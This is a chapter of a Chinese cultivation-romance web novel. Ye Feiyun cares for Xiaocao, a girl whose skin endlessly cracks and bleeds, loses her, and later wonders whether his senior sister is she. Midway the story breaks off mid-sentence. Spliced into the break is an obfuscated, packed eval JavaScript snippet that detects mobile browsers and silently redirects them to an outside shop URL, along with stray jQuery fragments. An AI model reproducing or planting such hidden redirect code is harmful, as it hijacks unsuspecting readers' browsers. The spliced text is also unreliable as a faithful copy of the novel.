74. 来时路,去归处
    鲜血从他们膝下晕开。

    叶飞云抱起小草,将她抱回旁屋的床上。

    为了换回金钗,订好棺椁,家中已没了什么可换取钱财的物什,叶飞云蓦地想起家中还有一蛇胆。

    上次为寻小草,他被蛇咬了一口,蛇咬了他,他便取了蛇胆作酒。

    他急忙抱着泡着蛇胆的酒壶,去往村头的郎中家,换了止血药和一卷卷纱布。

    飞奔回家,踩着烟烧火燎过后的灰烬。

    小草还没醒。

    他握了握拳,凝眸看着小草。

    他知道,小草是女孩儿。

    鲜血从床沿滴落。

    他褪下小草身上的麻衣,看到了她的身躯。

    一圈又一圈纱布紧紧缠绕,裹着她的身体,像白纱包裹的尸体。

    白色的纱布已被鲜血浸湿,无一处不是鲜红。

    从手腕,他揭开纱布一角。

    而后怔住。

    龟裂的皮肤,似干涸的大地,裂出一道道缝隙,流出血,又迅速弥合。

    弥合后的裂隙附近,再次裂开,再次弥合。

    纱布坠落床脚。

    她的整条胳膊,都是这般。

    像一尊玉白色的瓷器,从头顶敲碎了,裂出纹路,纹路转瞬弥合,下一瞬,又裂开新的缝隙。

    这个过程循环往复。

    每裂一次,她的皮肤便沁出血珠。

    是再怎么拭,也拭不干净的血。

    叶飞云的手攥着小草的脉,床上的小草睁开眼。

    她看到自己裸露的臂膀,连忙抓过一旁的被子躲藏,遮住了全身。

    她靠着墙,曲起腿坐着,是一个警惕又防卫的姿势,明澈的金眸似裹着寒凉的秋水,平静而无波,看着他。

    她不怕他,而是怕吓到他。

    没有正常人的皮肤会如她那般。

    叶飞云握着她的手腕,没有松开。

    “会很疼吗?”他问她,嗓音放得很轻,却又难以控制地有了一分沙哑。

    因为心疼。

    小草愣了下,而后望着他,点头,又摇头。

    “那还是很疼吧?”

    小草这回没有动作,也没有吭声。

    “我换了止血药,不知道有没有用。”叶飞云指指旁边凳子上的药瓶。

    “你是女儿家。”为小草卸下身上的纱布时,他便是跪在床前脚踏上的姿势。压低身形,毫无攻击性。叶飞云仰头望着她,“需要我帮忙吗?”

    小草看到了凳子上干净的纱布,摇了摇头。

    “那我去为你烧水。”叶飞云便道。

    他走出门外,将屋子留给小草。合上门,脚步一顿,去了厨房。

    水只会端进去,而不会出来。

    洗下的血水会被小草用火烧干净,从门中递出空盆。

    小草身上换了新的纱布,脸上的纱布也换了干净的。

    叶飞云没看到小草的真容。

    或许她的脸,和她的身体一样,无时无刻不在皲裂,所以才缠满了纱布,怕吓到旁人。

    叶飞云为她取了干净的衣服。

    是叶母用她的旧衣所做,洗干净,裁小布料,重新缝合。

    叶母也曾是大家小姐,女工极好。

    小草换了从未穿过的合身衣裳,站在院中,对着太阳望日光。

    活着。

    太阳暖洋洋的。

    装粮食的麻袋衣裳,被血浸得太透,已经洗不干净了。

    小草郑重地,将麻衣叠好,埋在叶飞云后院院外的一棵老树下。

    她挖了满手的土,目色忧伤又悠远。

    起身,叶飞云正在树旁等她。

    从小草动手时,叶飞云便看到了。

    他在院中,去取了糕点,又来寻她,走到树旁。

    叶飞云怀中抱着打开纸包的桂花糖糕。

    “桂花糖糕,可要尝一尝?”

    小草这次聪明了,缠纱布时记得给自己的嘴巴留一条缝。

    她手上都是土,便由叶飞云喂她。

    张开双唇,如叶飞云所想。

    小草的口舌内里,也与她的手臂一般,在龟裂。他看到粉嫩的内壁,裂出细细麻麻的缝隙,又迅速弥合。

    没有流血,是与她身上的伤一样,已经‘好’了。

    小草咬下一半桂花糖糕。

    嘴巴在动,细细品尝,眼尾弯起,露出笑。

    等她再次张开唇,吞下剩下的那一半时,叶飞云便看到,她的口中,内壁上,粘连着丝丝血水。

    叶飞云眼神未变,只是认真地举着手,喂小草垂下这份桂花糖糕。

    “好吃吗?”他问她。

    小草点点头。

    “等我再攒些钱,还可以去买。”

    少年老成,叶飞云眉目温和,稳重如最好的邻家哥哥。

    叶飞云想,他们还有很多个以后。

    叶飞云在笑,小草也在笑。

    “叶、飞、云。”她缓缓地、一个字一个字地、张着满是血丝的唇舌,艰难地念出叶飞云的名姓。

    嗓音嘶哑嘲哳。

    却如听仙乐耳暂明。

    但叶飞云再没见过小草。

    在他以为他们还有很久很久的以后,在他站在后院外的老树下,看着树下埋着麻衣的土包,在他怀中抱着再次买来的桂花糖糕。

    他再没见过她。

    母亲去世,入棺埋葬,葬入父亲的衣冠冢中。

    他身着白衣,披麻戴孝,跪在父母坟前。

    坟前柳枝垂丝绦。

    他再没见过她。

    *

    如何确定一个人的身份?

    于叶飞云来说,很难。

    苦苦寻觅,难以确定。

    他和小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050295|135124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    草之间有什么呢?

    只有一份记忆。

    若论身世,入青山派,他便对门派交代得一清二楚。

    若大师姐是小草,若她还有那份记忆,按理,她应当可以认得出他。

    但大师姐没有。

    或许大师姐不是小草,或许小草只是忘记了他。

    祝煊容同样没有认出他,她同样可以失忆。

    师姐有金眸,祝煊容有火。

    祝煊容十二年前去过岩桂村,祝煊容在村中见过一名稚童。

    而他对大师姐十二年前在何处,一无所知。

    问清楚吧,问清楚吧。

    叶飞云心中似有魔音。

    是,问清楚又能如何?

    小草于他,是故人,是旧友。

    他不远千万里来寻她。

    若祝煊容是,他不过就是多了个故人。

    他又能问清楚什么呢?

    若祝煊容失了记忆,也答不出与叶飞云幼年相交时发生的事。

    师姐忆不起,祝煊容也答不出。

    谁是小草?

    他不知道。

    重要吗?

    他的来时路,他的去归处。

    原是有一人,无形中成了他的执念,轻飘飘的,好似没有重量,却压在心头。

    踏遍山川湖海,步入仙门。

    为何入了青山派?

    罗盘所指,方向为东。

    她在东处。

    卜卦吉凶,寥落门庭。

    占卜所示,乱数生生。

    仙门六月,广收门徒。

    那一日,只有青山派的收徒台最为寥落,空无一人。

    那一日,前来识灵根,拜仙门的人,都得见一位怪人,托着罗盘在各家门派前算过去,只有青山派,什么都算不出。

    他拜入了青山派。

    见到了金眸。

    该是欣喜若狂才对,只是她,看都没看外门弟子一眼。

    许知绝,无情道,大师姐,入鹿隐峰闭关修炼不出,少有机会得见。

    一同入门的弟子都说幸运,一入门就见到了大师姐。

    她是小草吗?

    若叶飞云信得过罗盘,信得过自己修习的占卜之术,许知绝就是小草。

    但于小草,叶飞云谨慎又谨慎。

    他能够相信的,只有记忆。

    外门几年,他小心翼翼地试探、打听。

    目光何时,总是会遗落到她身上。

    又是何时,于窗旁案牍书写,开始仰望天上的一轮明月。

    早已分不清,识不明。

    若是他不这般谨慎,随意认了师姐为小草便罢,又如何能沦到这番田地,钻了牛角尖,什么都看不清。

    可小草,就是小草;师姐,就是师姐。

    故人,是为故人;心之所爱,心之所向,也只有那一人。